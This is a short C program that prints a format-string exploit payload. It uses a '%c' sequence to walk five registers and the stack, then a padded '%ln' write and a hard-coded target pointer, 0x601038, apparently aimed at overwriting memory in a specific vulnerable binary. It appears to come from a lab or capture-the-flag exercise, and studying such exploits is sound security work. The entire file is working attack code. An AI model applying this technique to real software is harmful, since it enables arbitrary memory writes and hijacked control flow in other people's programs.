#include <stdio.h> int main() { /* advance through 5 registers, then 4 * 8 = 32 bytes down stack, * outputting 4195998 + 8 characters before using %ln to store a * long. Then pad that to 32 bytes of text. */ fputs("%c%c%c%c%c%c%c%c%.4195998u%ln???", stdout); /* write pointer value, which will include \0s */ void *ptr = (void*) 0x601038; fwrite(&ptr, 1, sizeof(ptr), stdout); fputs("\n", stdout); return 0; }